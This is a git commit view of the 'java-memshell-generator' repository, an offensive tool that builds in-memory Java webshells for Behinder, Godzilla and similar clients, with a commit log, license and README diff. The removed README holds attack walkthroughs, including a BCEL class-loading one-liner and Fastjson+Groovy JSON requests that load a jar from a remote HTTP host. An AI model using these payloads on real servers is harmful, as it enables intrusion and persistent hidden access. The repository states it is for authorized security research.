46 Commits
Author SHA1 Message Date
pen4uin dab77b3ebf Merge pull request #38 from ReaJason/main
feat: support getWebAppClassLoader from context
2025-08-21 18:21:10 +08:00
pen4uin 2b16edb0e2 fix: https://github.com/pen4uin/java-memshell-generator/issues/39 2025-06-15 23:21:08 +08:00
ReaJason 4ce27b2cc1 feat: support getWebAppClassLoader from context 2025-06-08 14:00:08 +08:00
pen4uin 3fe18fa470 Create LICENSE 2025-01-12 20:33:17 +08:00
pen4uin d9cc980ca0 update: Release 1.0.9_250101 2025-01-01 12:36:51 +08:00
pen4uin b9bbfd0300 fix: 单词拼写 2025-01-01 12:34:58 +08:00
pen4uin c1b7628c82 add: 添加对信创中间件的支持 2025-01-01 12:17:45 +08:00
pen4uin 1a96f20f90 add: 添加对 TongWeb(东方通)Listener 的支持 2025-01-01 12:15:00 +08:00
pen4uin 7b7502441c add: 添加对 InforSuite(中创)Filter/Listener 的支持 2025-01-01 12:14:31 +08:00
pen4uin ce5e7d5994 add: 添加对 BES(宝兰德)Filter/Listener 的支持 2025-01-01 12:14:05 +08:00
pen4uin cec71055d0 add: 添加对 Apusic(金蝶)Filter/Listener 的支持 2025-01-01 12:13:32 +08:00
pen4uin 6127a9ed7b fix: [#26] 2024-12-22 21:02:22 +08:00
pen4uin aa24fd137c fix: 删除 Tomcat Valve 遗留的调试代码 2024-11-16 17:54:20 +08:00
pen4uin 4a86a8fe68 fix: 解决 TOOL_NEOREGEORG 不一致的问题 2024-11-01 19:35:29 +08:00
pen4uin 4669050fb8 update: 删除 GodzillaValve 的调试代码 2024-09-14 15:11:57 +08:00
pen4uin 146d04cf12 add: 添加对 Tomcat Valve 的支持 2024-09-14 14:40:05 +08:00
pen4uin 182108956e update: 优化 bypassJDKModuleCheckBox 2024-08-25 19:07:40 +08:00
pen4uin 35367e7d06 add: 添加对 Jakarta Servlet 的支持(SpringBoot 3.x/Tomcat 10.x) 2024-08-25 18:55:49 +08:00
pen4uin 4d43d247c1 add: 支持绕过高版本 JDK Module 访问限制进行注入(可选) 2024-08-25 17:29:15 +08:00
pen4uin 5898ae1ecd fix: fix README typo 2024-08-25 12:01:08 +08:00
pen4uin cdc889c9ec update: README 2024-08-25 08:09:01 +08:00
pen4uin 42db539c75 add: 添加 jmg-all 模块(All In One) 2024-08-25 08:05:00 +08:00
pen4uin eb32f32c1b add: 添加对命令行的支持 2024-08-25 08:04:02 +08:00
pen4uin 5a2b4e62ad update: 优化 pom.xml 2024-08-25 08:02:48 +08:00
pen4uin 0b13cd1528 update: jmg-gui GUIApp 2024-08-25 08:02:07 +08:00
pen4uin 6d14555b94 add: 添加对 Maven SDK 的支持 2024-08-24 14:52:05 +08:00
pen4uin e2ad182bcf update: 其他 2024-08-24 14:49:41 +08:00
pen4uin d5c7b731ab add: 添加对 woodpecker-framework 插件的支持 2024-08-24 00:52:35 +08:00
pen4uin ac9c608699 update: 其他 2024-08-24 00:46:36 +08:00
pen4uin 916d12982f update: 优化异常处理 2024-08-24 00:45:45 +08:00
pen4uin e5994d4813 update: 优化 Generator 异常处理 2024-08-24 00:40:41 +08:00
pen4uin 5e4cc68000 add: 扩展模块(探测中间件/序列化封装) 2024-08-23 23:47:24 +08:00
pen4uin 315dcad8b4 update: 多模块版本字段 revision -> project.build.version 2024-08-23 23:45:25 +08:00
pen4uin 70c7b7013d 修复 snakeyaml loadJar 漏洞利用封装 bug(thx @Ch1ngg) 2024-07-23 23:03:41 +08:00
pen4uin ce1be0dda9 maven 依赖 jexpr-encoder-utils 需手动下载 2024-07-23 22:59:40 +08:00
pen4uin fd69732a77 更新文档 2024-07-20 15:16:19 +08:00
pen4uin b0a8540395 更新文档链接 2024-07-20 15:12:45 +08:00
pen4uin 65d4ca65ba 迁移文档到 repo 2024-07-20 15:12:10 +08:00
pen4uin 6e667fb9ac 优化 java agent 马参数选项,贴合实战场景(命令执行无回显) 2024-07-20 14:58:28 +08:00
pen4uin b422a60ee1 修复 agent + jdk11 base64 解码的 bug (thx @mosen) 2024-07-20 14:06:08 +08:00
pen4uin 3f33658d86 清空缓冲区,防止后续处理流程中 response 被覆盖导致连接失败 2024-07-05 21:40:57 +08:00
pen4uin b6e34b31e2 61快乐 2024-06-01 12:20:17 +08:00
pen4uin 1e4291e965 release jMG v1.0.8 2024-04-12 09:04:32 +08:00
pen4uin fc4fd115b4 archived 2023-11-01 12:18:55 +08:00
pen4uin 8bd61a3f51 Update README.md 2023-09-29 12:29:30 +08:00
pen4uin d10b20d9a4 update readme. 2023-09-03 15:37:39 +08:00
241 changed files with 19955 additions and 478 deletions
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2025 pen4uin
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+91 -378
View File
@@ -1,415 +1,128 @@
# java-memshell-generator
<h4 align="right"><strong><a href="jmg-docs/README_EN.md">English</a></strong> | 中文 </h4>
<p align="center">
<h1 align="center">Java Memshell Generator</h1>
<div align="center">
<img alt="GitHub watchers" src="https://img.shields.io/github/watchers/pen4uin/java-memshell-generator?style=flat-square">
<img alt="GitHub forks" src="https://img.shields.io/github/forks/pen4uin/java-memshell-generator?style=flat-square">
<img alt="GitLab Stars" src="https://img.shields.io/github/stars/pen4uin/java-memshell-generator.svg?style=flat-square">
</div>
<div align="center">一款支持高度自定义的 Java 内存马生成工具</div>
</p>
## 0x00 工具简介
<img src="./jmg-docs/img/gui_250101.png" width="900px" />
jMG (Java Memshell Generator) 是一款支持高度自定义的 Java
内存马生成工具,提供常见中间件的内存马注入支持。不仅可作为 [woodpecker](https://github.com/woodpecker-framework/woodpecker-framework-release)
的插件使用,也可以作为独立的 GUI 工具进行使用。
<br>
**功能介绍**
> [!WARNING]
> 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受,请勿使用此工具。
- 支持的中间件和框架 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/SpringBoot)
- 支持的网站管理工具 (Behinder/Godzilla/Custom)
- 支持的内存马类型 (Filter/Listener/Interceptor)
- 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER)
- 支持的辅助模块 (探测目标中间件/序列化数据封装)
<br>
**模块划分**
## 功能
- 内存马生成模块
- Behinder、Godzilla
- Custom
- 注入自定义的Filter和Listener,常见场景:其他网站管理工具的服务端、内存代理、内存水坑等
- 辅助模块
- ServerType Detector 中间件探测器
- 探测中间件信息,常见场景:SpringBoot Fatjar
- 提供 4 种方式判断目标中间件 (DFSEcho/Sleep/DNSLog/HTTPLog)
- Ysoserial Payload Generator
- 基于 ysoserial-for-woodpecker 对反序列化漏洞利用提供支持、提高漏洞利用效率
| 中间件 | 框架 | 工具 (测试版本) | 内存马类型 | 输出格式 | 辅助模块 |
| ------------------ | ------------- | ------------------------------------------------------------ | ------------- | ---------- | -------------- |
| Tomcat | SpringMVC | [AntSword](https://github.com/AntSwordProject/antSword) (2.1.15) | Listener | BASE64 | 专项漏洞封装 |
| Resin | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7) | Filter | BCEL | 表达式语句封装 |
| WebLogic | | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1) | Interceptor | BIGINTEGER | |
| Jetty | | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0) | HandlerMethod | CLASS | |
| WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | TomcatValve | JAR | |
| Undertow | | Custom | | JAR_AGENT | |
| GlassFish | | | | JS | |
| Apusic(金蝶) | | | | JSP | |
| BES(宝兰德) | | | | | |
| InforSuite(中创) | | | | | |
| TongWeb(东方通) | | | | | |
| | | | | | |
**参数说明**
## 编译
| 参数名称 | 参数说明 | 其他 |
| ----------- | ---------------- | ------------------------------------------------------------ |
| server_type | 选择中间件的类型 | |
| shell_type | 选择内存马的类型 | |
| gadget_type | 选择利用链的类型 | 根据gadget自动完成对class的特殊处理,如继承类、实现接口、添加注解 |
| format_type | 输出格式 | |
maven (v3.9.3)
**免责声明**
```
该工具仅适用于在授权环境/测试环境进行使用,请勿用于生产环境。
```shell
mvn package assembly:single
```
## 0x01 两种工作模式
## 使用
#### Woodpecker 插件工作模式
**图形化**
- 从 github 仓库下载 jMG.jar 并放在 woodpecker 的 plugin 子目录下即可
<img width="877" alt="image" src="https://github.com/pen4uin/java-memshell-generator/assets/55024146/1b07d338-5cd9-4035-8566-be2d4ae914d4">
#### GUI 图形化工作模式
<img width="877" alt="image-20230610110205993" src="https://github.com/pen4uin/java-memshell-generator/assets/55024146/4b79a767-9327-4d2a-bd89-7f1386560a9d">
## 0x02 中间件/框架覆盖情况
注:以下测试结果仅供参考
#### 中间件
| | listener | filter |
| --------------- | ----------------- | --------------- |
| tomcat 9.0.39 | ✅ | ✅ |
| tomcat 8.5.53 | ✅ | ✅ |
| tomcat 7.0.59 | ✅ | ✅ |
| tomcat 6.0.48 | ✅ | ✅ |
| tomcat 5.5.36 | ✅ | ✅ |
| jetty 9.4.43 | ✅ | ✅ |
| jetty 8.2.0 | ✅ | ✅ |
| jetty 7.6.0 | ✅ | ✅ |
| resin 4.0.66 | ✅ | ✅ |
| resin 3.1.15 | ✅ | ✅ |
| weblogic 10.3.6 | ✅ | ✅ |
| weblogic 12.1.3 | ✅ | ✅ |
| weblogic 14.1.1 | ✅ | ✅ |
| websphere 7.x | ✅ | ✅ |
| websphere 8.5.5 | ✅ | ✅ |
| websphere 9.0.0 | ✅ | ✅ |
| undertow 1.4.26 | ✅ | ✅ |
| glassfish 5.0.0 | ✅ | ✅ |
#### 框架
| | interceptor | action |
| --------------- | ----------------- | ----------------- |
| spring mvc | ✅ | |
| strust2 | | |
## 0x03 常见漏洞场景
### 1) 文件上传漏洞 (JSP)
本地测试环境
- Tomcat v6.0.48
- JDK 8
- 文件上传
1、生成 jsp 文件
<img src="./img/image-20230603233555475.png" alt="image-20230603233555475" style="zoom:50%;" />
2、上传 jsp 到目标服务器,访问即可注入内存马,参考使用说明进行设置
- 设置请求头
<img src="./img/image-20230603233718933.png" alt="image-20230603233718933" style="zoom:50%;" />
3、成功连接
<img src="./img/image-20230603233824509.png" alt="image-20230603233824509" style="zoom: 50%;" />
### 2) 反序列化漏洞 (readObject)
本地测试环境
- Tomcat v8.5.53
- JDK 8
- readObject 反序列化
- CB1 链
1、生成 class 文件
```
server_type=Tomcat
shell_type=Listener
# 继承 AbstractTranslet
gadget_type=JDK_AbstractTranslet
format_type=CLASS
output_path=/tmp/
```shell
java -jar ./releases/jmg-gui-1.0.9.jar
```
<img src="./img/image-20230603234954605.png" alt="image-20230603234954605" style="zoom:50%;" />
**命令行**
2、使用 `辅助模块` 进行序列化数据封装
```
yso_gadget=CommonsBeanutils1
yso_cmd=class_file:/tmp/HttpClientUtil.class
format_type=BASE64
```shell
java -jar ./releases/jmg-cli-1.0.9.jar
```
![image-20230603235125954](img/image-20230603235125954.png)
**Woodpecker 插件**
注:依赖 https://github.com/woodpecker-framework/ysoserial-for-woodpecker
将 jmg-woodpecker-1.0.9.jar 添加到 woodpecker 插件目录
3、利用后,参考使用说明进行连接
![image-20230604003649328](img/image-20230604003649328.png)
**第三方库 (Maven)**
### 3) 表达式注入漏洞 (EL)
1.将 jmg-sdk-1.0.9.jar 安装到本地 maven 仓库
本地测试环境
- Tomcat v8.5.83
- JDK 8
- EL 表达式代码执行
1、生成 class文件
```
server_type=Tomcat
shell_type=Listener
gadget_type=NONE
format_type=CLASS
output_path=/tmp/
```shell
mvn install:install-file -Dfile=./releases/jmg-sdk-1.0.9.jar -DgroupId=jmg -DartifactId=jmg-sdk -Dversion=1.0.9 -Dpackaging=jar
```
![image-20230604004249345](img/image-20230604004249345.png)
2.添加为依赖
2、使用 `jexpr-encoder-utils` 进行封装
```
class_file=/tmp/SignatureUtils.class
```xml
<dependency>
<groupId>jmg</groupId>
<artifactId>jmg-sdk</artifactId>
<version>1.0.9</version>
</dependency>
```
![image-20230604004555312](img/image-20230604004555312.png)
注:依赖 https://github.com/woodpecker-appstore/jexpr-encoder-utils
3、利用后,参考使用说明进行连接
![image-20230604005305610](img/image-20230604005305610.png)
### 4) 代码执行漏洞 (Bsh)
本地测试环境
- Resin v4.0.40
- JDK 8
- Bsh 代码执行漏洞
1、选择 输出格式为 BCEL ,生成 paylaod
3.示例
```
server_type=Resin
shell_type=Listener
gadget_type=NONE
format_type=BCEL
// 基础配置
AbstractConfig config = new AbstractConfig() {{
// 设置工具类型
setToolType(Constants.TOOL_GODZILLA);
// 设置中间件 or 框架
setServerType(Constants.SERVER_TOMCAT);
// 设置内存马类型
setShellType(Constants.SHELL_LISTENER);
// 设置输出格式为 BASE64
setOutputFormat(Constants.FORMAT_BASE64);
// 设置漏洞利用封装,默认不启用
setGadgetType(Constants.GADGET_NONE);
// 初始化基础配置
build();
}};
jMGenerator generator = new jMGenerator(config);
generator.genPayload();
generator.printPayload();
// 连接信息
SDKResultUtil.printBasicInfo(config);
SDKResultUtil.printDebugInfo(config);
```
![image-20230604010739403](img/image-20230604010739403.png)
## 文档
2、利用 BCEL 打内存马
- [jMG v1.0.8](./jmg-docs/1.0.8/)
- [jMG v1.0.6](./jmg-docs/1.0.6/)
- [jMG v1.0.5](./jmg-docs/1.0.5/)
- [jMG v1.0.4](./jmg-docs/1.0.4/)
```
new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("BCEL编码后的paylaod").newInstance();
```
3、参考使用说明进行连接
![image-20230604010920735](img/image-20230604010920735.png)
### 5) 反序列化漏洞 (Fastjson)
- Fastjson + Groovy 场景下的内存马注入
本地测试环境
- Tomcat v8.5.83
- Fastjson v1.2.80 反序列化漏洞
- Groovy v3.0.8
1、选择 输出格式为 JAR,生成 payload
```
server_type=Tomcat
shell_type=Listener
# 选择利用链为 Fastjson+Groovy
gadget_type=FastjsonGroovy
format_type=JAR
output_path=/tmp/fj/
```
![image-20230604012322393](img/image-20230604012322393.png)
2、利用 groovy 利用链打内存马
第1个请求
```
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
```
第2个请求
```
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:8888/NetworkUtils.jar"
}
}
```
![image-20230604012343294](img/image-20230604012343294.png)
3、参考使用说明进行连接
![image-20230604012511724](img/image-20230604012511724.png)
### 6) 模板注入漏洞 (Thymeleaf)
本地演示环境信息
- SpringBoot v2.2.0.RELEASE
- 内嵌 Jetty
- JDK 8
- Thymeleaf 模板注入漏洞
由于 springboot 可以自定义中间件,所以在 springboot 场景下注入内存马时需要考虑目标中间件可能不是常见的tomcat,有可能是jetty/undertow,也有可能是信创中间件。
这种情况一般有两种方案:
- 注入框架层面的内存马,比如 interceptor
- 先判断出目标中间件,再注入对应中间件的内存马
这个时候就需要上 `辅助模块 - ServerType Detector` 来探测目标中间件。
1、优先使用 `DFSEcho` 通过回显来判断目标中间件,失败后再考虑dnslog等其他选择
```
detect_way=DFSEcho
server_type=Tomcat
dnslog_domain=xxx.dnslog.cn
httplog_url=http://xxx.httplog.cn
sleep_seconds=5
gadget_type=NONE
format_type=BCEL
```
![image-20230604020004279](img/image-20230604020004279.png)
2、获取到目标中间件为 jetty
![image-20230604020249516](img/image-20230604020249516.png)
3、生成对应的 payload
```
server_type=Jetty
shell_type=Listener
gadget_type=NONE
format_type=BCEL
```
![image-20230604020449009](img/image-20230604020449009.png)
4、漏洞利用
- 第1次尝试 - 失败
![image-20230604020745192](img/image-20230604020745192.png)
算是很常见的问题,参考 shiro 的漏洞利用的解决方案,写个 loader 加载字节码再 defineclass 即可。
重新生成 payload
![image-20230604032212352](img/image-20230604032212352.png)
5、利用后参考使用说明进行连接即可
![image-20230604032522048](img/image-20230604032522048.png)
更多场景就见仁见智了。
## 0x04 常见利用场景
### 1) 内存代理
本地测试环境
- Tomcat v8.5.53
- JDK 8
- readObject 反序列化
- CB1 链
1、以 `suo5` 为例,编译 Suo5Filter.java
- https://github.com/zema1/suo5/blob/main/assets/Suo5Filter.java
2、选择对应的中间件,生成 payload
```
server_type=Tomcat
gadget_type=JDK_AbstractTranslet
format_type=CLASS
class_file_path=/tmp/Suo5Filter.class
output_path=/tmp/
```
![image-20230604034046461](img/image-20230604034046461.png)
3、使用 `辅助模块` 进行序列化数据封装
![image-20230604034216562](img/image-20230604034216562.png)
4、利用后连接测试,内存代理注入成功
![image-20230604034001972](img/image-20230604034001972.png)
## 0x05 致谢与引用
**Sponsor**
```text
奇安信观星实验室(SGLAB of Legendsec at Qi'anxin Group)
```
<img src="./img/sglab.svg" width=300 alt="SgLab">
**Contributors**
```text
https://github.com/c0ny1
https://github.com/whwlsfb
```
**References**
```
https://github.com/woodpecker-framework/
https://github.com/woodpecker-appstore/jexpr-encoder-utils
https://github.com/feihong-cs/memShell
https://github.com/su18/MemoryShell
https://github.com/BeichenDream/GodzillaMemoryShellProject
```
## 0x06 其他说明
1. 技术交流
```
这也是开源目的之一,期待更多使用者的反馈,如果遇到 bug / 建议 / 实战场景需求,欢迎提 issue 交流。
```
2. 源代码开源
```
代码还需打磨,"革命"(1k stars)尚未成功 👀,后续会完全开源的。
```
3. 关于提问
```
希望提问前先翻一翻 issues。
```
## 致谢
- https://github.com/c0ny1
- https://github.com/whwlsfb
- https://github.com/feihong-cs/memShell
- https://github.com/su18/MemoryShell
- https://github.com/BeichenDream/GodzillaMemoryShellProject
## 协议
- MIT
Binary file not shown.

Before

Width:  |  Height:  |  Size: 162 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 59 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 209 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 120 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 170 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 272 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 348 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 98 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 227 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 495 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 169 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 384 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 103 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 151 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 346 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 155 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 140 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 140 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 194 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 130 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 515 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 348 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 167 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 158 KiB

-100
View File
@@ -1,100 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 22.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
<svg version="1.1" id="图层_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
viewBox="0 0 612 233.9" style="enable-background:new 0 0 612 233.9;" xml:space="preserve">
<style type="text/css">
.st0{fill:#144495;}
.st1{filter:url(#Adobe_OpacityMaskFilter);}
.st2{fill:url(#SVGID_2_);}
.st3{mask:url(#SVGID_1_);fill:#144495;}
</style>
<g>
<g>
<g>
<path class="st0" d="M184.2,125.1c4.5-10.8,7.5-23.3,8.6-37.3h-27.3v5.2h21c-0.9,9.6-2.8,17.6-5.7,25.4l-10.4-20.1l-5.1,2.3
l12.7,24.8c-3.9,8.6-9,16.4-14.9,23.3l4.5,3.4c5.1-6.2,9.8-13,13.5-20.5l7.5,14.4l5.2-2.4L184.2,125.1z"/>
<path class="st0" d="M203.8,90.8c0-1.7,1.9-3,3.8-3h22.5c1.9,0,3.3,1.3,3.3,3v39.7h6.1V90.8c0-4.7-4.4-8.2-9.4-8.2h-22.5
c-5,0-9,3.6-9,8.2v39.7h5.2V90.8z"/>
<path class="st0" d="M266,113.1h44.1c10.5,0,10.5-4.9,10.5-10.3V91.9c0-5.5,0-10.2-10.5-10.2H266c-10.8,0-10.8,4.8-10.8,10.2
v10.8C255.3,108.2,255.3,113.1,266,113.1z M261.4,91.9c0-2.6-0.1-5,4.7-5h44.1c5.3,0,5.3,2.4,5.3,5v2.9h-54.1V91.9z M261.4,100
h54.1v2.7c0,2.5-0.1,4.2-5.3,4.2H266c-4.7,0-4.7-1.7-4.7-4.2V100z"/>
<path class="st0" d="M291,148.9v-8.7h29.6v-5.2H291v-8.7h29.6V121H291v-6.1h-5.2v6.1h-24.1l1.5-5.4l-5.7-1.3l-3.4,11.9h31.7v8.7
h-31.4v5.2h31.4v8.7h-55.1c-2.7,0-5.1-2-5.1-4.6v-18.9h-5.7c0.7-3.5,1.3-6.9,1.3-11.2V95.7h-6.1v18.5c0,21-10.5,29.7-25.2,34.9
l2,5.1c13.9-5,24.9-12.5,27.6-28.6v18.6c0,5.5,5.3,9.9,11.2,9.9H325v-5.2H291z"/>
</g>
<path class="st0" d="M385.2,99.2v2.1c0,9.8-1.4,20.6-4.5,26.7h30.7v5.2h-24.6l25.8,16.2l-3.3,4.6l-32.2-20
c-8.1,10.4-21.8,15.9-41.3,19.8l-1.2-5.4c15.9-3.2,27.6-7.4,35-15.2h-34.1v-5.2h38.4c3.8-6.1,6.1-16.5,6.1-26.7v-2.1H385.2z
M376.5,81.7V87h23.9c5.9,0,11,4.1,11,9.5v3.5h-6.1v-3.5c0-2.5-2.1-4.3-4.9-4.3h-53c-2.8,0-5,1.8-5,4.3v3.5h-6.1v-3.5
c0-5.5,5.2-9.5,11.1-9.5h23.8v-5.2H376.5z M339,106.1h27.9v5.2H339V106.1z M339,116.6h27.9v6.1H339V116.6z"/>
<g>
<path class="st0" d="M441.2,114.9h-13.9l1.7-22.7l-5.8-0.3l-2,28.3h20c1.9,0,3.3,1.5,3.3,3.2v22.2c0,1.7-1.4,3.3-3.3,3.3h-10.6
v5.2h10.6c5.1,0,9.4-3.9,9.4-8.5v-22.2C450.6,118.7,446.2,114.9,441.2,114.9z"/>
<path class="st0" d="M457.6,108.8h33.9l1.7,3.7l5.4-2.2l-8.9-20.5c-2.1-4.6-5.4-7.2-11.1-7.2h-8.1c-5.8,0-9,2.5-11.1,7.2
l-8.9,20.6l5.3,2.2L457.6,108.8z M464.8,92.4c1-2.5,2.7-3.7,5.7-3.7h8.1c2.8,0,4.6,1.4,5.7,3.7l4.9,11.2h-29.3L464.8,92.4z"/>
<path class="st0" d="M443.6,90.3v22.8h6.1V90.3c0-4.7-4.4-8.5-9.6-8.5h-17.5V87h17.5C442,87,443.6,88.5,443.6,90.3z"/>
<rect x="420.1" y="132.3" class="st0" width="21.8" height="5.2"/>
<polygon class="st0" points="458.1,144.6 464,144 460.6,114.6 454.8,115.2 "/>
<path class="st0" d="M483.5,143.4l5.6,1.7c3.3-8.6,5.7-18.4,7-30l-5.8-0.6C489.1,125.9,486.7,135.3,483.5,143.4z"/>
<polygon class="st0" points="473.8,144.6 479.6,144 476.3,114.6 470.5,115.2 "/>
<path class="st0" d="M573,87h-24.8v-5.2h-6.1V87h-25.3c-5.9,0-10.4,4.7-10.4,10.1v3h5.2v-3c0-2.5,2.5-4.9,5.2-4.9H573
c2.7,0,4.9,2.4,4.9,4.9v3h6.1v-3C584,91.6,579,87,573,87z"/>
<path class="st0" d="M548.3,139.3h32.3V134h-32.3v-8.7h20.6c3.8,0,6.2-0.9,7.1-3.3c0.6-1.5-0.3-4.5-0.3-4.5l-2.6-8.7h-5.2
l2.2,8.3c0.2,0.4,0.3,0.9,0.2,1.4c-0.2,1.2-0.9,1.6-2.5,1.6h-45.3c-0.8,0-1.4-0.8-1.2-1.6l2.3-9.8h56.2v-5.2h-69.8v5.2h7.6
l-2.6,10.8c-0.7,2.9,1.5,5.8,4.5,5.8h22.7v8.7h-32.3v5.2h32.3v9.6h-35.7h-54.1v5.2h54.1h76.7v-5.2h-34.9V139.3z"/>
</g>
</g>
<path class="st0" d="M106.2,148.4c-30.3,0-54.9-24.6-54.9-54.9c0-16.4,7.2-31.2,18.6-41.2C50,60.5,36.1,80.1,36.1,103
c0,30.3,24.6,54.9,54.9,54.9c13.9,0,26.6-5.2,36.3-13.7C120.8,146.9,113.7,148.4,106.2,148.4z"/>
<defs>
<filter id="Adobe_OpacityMaskFilter" filterUnits="userSpaceOnUse" x="65.4" y="151.5" width="32.8" height="20.1">
<feFlood style="flood-color:white;flood-opacity:1" result="back"/>
<feBlend in="SourceGraphic" in2="back" mode="normal"/>
</filter>
</defs>
<mask maskUnits="userSpaceOnUse" x="65.4" y="151.5" width="32.8" height="20.1" id="SVGID_1_">
<g class="st1">
<linearGradient id="SVGID_2_" gradientUnits="userSpaceOnUse" x1="78.4262" y1="157.0465" x2="78.4262" y2="174.4841">
<stop offset="0" style="stop-color:#FFFFFF"/>
<stop offset="0.6266" style="stop-color:#000000"/>
</linearGradient>
<rect x="54.7" y="153.5" class="st2" width="47.5" height="26.4"/>
</g>
</mask>
<path class="st3" d="M70.5,156c-4,3.8-5.7,9.2-4.9,14.3c0.7-3,2.3-5.8,4.7-8.1c6.6-6.3,16.9-6,23.2,0.5c2.4,2.5,3.9,5.7,4.3,8.9
c1.2-5.2-0.1-10.9-4.1-15C87.4,150,77,149.8,70.5,156z"/>
<circle class="st0" cx="101" cy="87.7" r="4.3"/>
<circle class="st0" cx="139.8" cy="99.1" r="2.3"/>
<circle class="st0" cx="110.2" cy="104.8" r="2.3"/>
<circle class="st0" cx="117" cy="109.7" r="1.7"/>
<circle class="st0" cx="96.9" cy="75.9" r="1.7"/>
<circle class="st0" cx="119.3" cy="91.9" r="8.3"/>
<circle class="st0" cx="77.9" cy="80.1" r="6.4"/>
<circle class="st0" cx="128" cy="71.3" r="4.6"/>
<circle class="st0" cx="98.4" cy="64.9" r="5.6"/>
<circle class="st0" cx="128" cy="116.6" r="4.6"/>
<circle class="st0" cx="90" cy="108.6" r="6.7"/>
<circle class="st0" cx="107.1" cy="120.4" r="3.7"/>
<rect x="107.7" y="61.3" transform="matrix(0.7905 -0.6124 0.6124 0.7905 -25.2021 83.0611)" class="st0" width="2.3" height="34.1"/>
<rect x="108.8" y="80.4" transform="matrix(0.2234 -0.9747 0.9747 0.2234 -1.9557 177.0957)" class="st0" width="2.7" height="18.7"/>
<rect x="112.5" y="80.3" transform="matrix(0.3918 -0.9201 0.9201 0.3918 0.1236 163.3955)" class="st0" width="22.3" height="2.7"/>
<rect x="122.3" y="91.1" transform="matrix(0.9427 -0.3336 0.3336 0.9427 -27.6821 47.216)" class="st0" width="2.7" height="26.2"/>
<rect x="123.4" y="107.1" transform="matrix(0.5591 -0.8291 0.8291 0.5591 -30.3576 158.5684)" class="st0" width="21.1" height="1.5"/>
<rect x="106.9" y="117.7" transform="matrix(0.9839 -0.1787 0.1787 0.9839 -19.2791 22.9183)" class="st0" width="21.2" height="1.5"/>
<rect x="83.7" y="97" transform="matrix(0.4665 -0.8845 0.8845 0.4665 -35.8407 136.8488)" class="st0" width="23.6" height="2.3"/>
<rect x="88.1" y="71.7" transform="matrix(0.3116 -0.9502 0.9502 0.3116 -18.1309 142.744)" class="st0" width="2.7" height="24.4"/>
<rect x="89.8" y="106.1" transform="matrix(0.9826 -0.1856 0.1856 0.9826 -18.0609 20.428)" class="st0" width="20.5" height="1.1"/>
<rect x="113.2" y="103" transform="matrix(0.5708 -0.8211 0.8211 0.5708 -39.2419 139.2606)" class="st0" width="0.8" height="8.3"/>
<rect x="91.7" y="69.8" transform="matrix(0.1133 -0.9936 0.9936 0.1133 16.7537 159.089)" class="st0" width="11.6" height="0.8"/>
</g>
</svg>

Before

Width:  |  Height:  |  Size: 6.6 KiB

+76
View File
@@ -0,0 +1,76 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
